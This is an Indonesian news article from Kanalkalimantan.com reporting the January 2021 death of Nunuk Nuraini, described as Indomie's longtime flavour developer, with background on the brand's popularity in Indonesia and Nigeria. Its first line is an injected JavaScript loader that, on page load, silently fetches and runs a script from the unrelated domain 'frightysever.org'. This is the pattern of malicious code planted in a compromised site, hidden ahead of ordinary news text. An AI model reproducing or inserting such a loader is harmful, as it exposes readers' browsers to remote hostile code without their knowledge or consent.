(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jutaan anak kos di Indonesia, kehilangan sosok penting yang selama ini secara tak langsung berjasa pada kehidupannya. Ya, ini karena berpulangnya sosok penemu rasa Indomie, Nunuk Nuraini meninggal dunia pada Rabu (27/1/2021) dini hari.
Kabar berpulangnya Nunuk Nuraini disampaikan melalui akun twitter resmi Laila Dimyati. Laila sendiri merupakan seorang pencicip kopi profesional yang telah mendapat akreditasi bertaraf internasional dari Coffee Quality Institute (CQI).
“Kabar lelayu. Telah berpulang ke Rahmatullah, Ibu Nunuk Nuraini, pencinta rasa Indomie yang kita kenal. Beliau meninggal tadi pagi, Rabu 27 Januari 2021 pukul 2.55 WIB. Semoga Almarhumah husnul khotimah. Aamiin,” tulis @lailadimyati.
Akun resmi Facebook Keluarga Alumni Fakultas Pertanian (KAFP) UNPAD juga membenarkan bila Nunuk Nuraini meninggal dunia dengan menyampaikan kabar duka tersebut Rabu sore: Innalillahi wa innailaihi roji’un Allohumagfirlaha warhamha waafihi wa’fuanha. Sesungguhnya kita semua milik Allâh taala, karena itu kita akan dirawat oleh-Nya.
Semoga *Ceu Nunuk Nuraini* H80 (istri Kang Kemal Amas H78) yang baik wafat dalam keadaan husnul khotimah, mendapat limpahan nikmat Iman dan nikmat Islam nikmat abadi dari dunia hingga akhirat juga mendapat ampunan serta ridlo Allah taala. Dan bagi keluarga yang ditinggalkan semoga diberikan kekuatan dan keikhlasan. Aamiin yaa rabbal alamiin.
Siapa Nunuk “Indomie” Nuraini?
Pada Juli 2020, Universitas Padjajaran Bandung pernah memposting tentang sosok Nunuk Nuraini yang menjadi peramu di balik berbagai varian rasa Indomie. “Beliau adalah peracik bumbu Indomie yang legendaris,” tulis Unpad.
Unpad menyatakan bahwa Nunuk Nuraini merupakan sosok yang bertugas untuk meramu rasa baru dari produk mie instant Indomie.
Nunuk adalah lulusan Universitas Padjadjaran Bandung Jurusan Teknologi Pangan. Ia telah mengabdikan diri selama hampir 30 tahun sebagai Flavor Development Manager Indofood.
Namanya mulai diketahui publik lewat kicauan dari akun Twitter @dittameliaa pada Juni lalu. Kala itu, sang pemilik akun mengunggah sebuah foto Nunuk sedang memegang Indomie di tangannya seraya menuliskan keterangan ‘Pahlawanku’.
Unggahan itu sempat viral dan mendapatkan likes dari sekitar 40 ribu orang serta dibagikan sebanyak 14 ribu kali.
Kini, usai kabar soal kepergian Nunuk mencuat di media sosial, sejumlah netizen pun menyampaikan duka cita mereka.
“Alfatihah, semoga husnul khotimah untuk Ibu Nunuk Nuraini. Terima kasih atas perjuangan dan pengabdiannya dalam meracik dan mewujudkan ragam rasa Indomie.,” komentar seorang netizen.
Tak sedikit netizen yang baru mengetahui jika almarhumah adalah sosok peracik bumbu Indomie yang mereka gemari. Bahkan dimakan hampir setiap hari.
Indomie menjadi salah satu makanan yang akrab di telinga masyarakat Indonesia.
Hingga saat ini, rasa Indomie terdiri dari beberapa varian masakan Indonesia, seperti soto, rendang, kari ayam, ayam bawang, sop buntut, hingga sambal matah.
Indomie mie goreng menjadi salah satu rasa klasik Indomie yang hingga kini menjadi favorit sebagian besar orang. PT Indofood CBP Sukses Makmur merupakan produsen mi instan yang paling banyak dikenal di Indonesia.
Melalui produk andalannya, Indomie, perusahaan yang didirikan Liem Sioe Liong alias Sudono Salim ini sudah memimpin pasar mi instan tanah air sejak 1984. Tak hanya di dalam negeri saja, Indomie juga menyasar pasar internasional. Bahkan harian Amerika Serikat LA Times menobatkan Indomie mi goreng sebagai 25 daftar mi ramen instan terbaik.
Menurut LA Times, Indomie, merek mie Indonesia, menjadi nama rumah tangga di Nigeria. Itu diperkenalkan ke negara Afrika Barat pada tahun 80-an dan menjadi sangat populer sehingga membuka pabrik produksi di sana pada tahun 1995.
Meskipun ada lebih dari selusin merek mi instan di Nigeria, Indomie mendominasi pasar dengan 74% hasil yang mencengangkan, karena berhasil menjual 8 juta bungkus per hari. (Kanalkalimantan.com/berbagai sumber)
Reporter: Kanalkalimantan.com/berbagai sumber
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.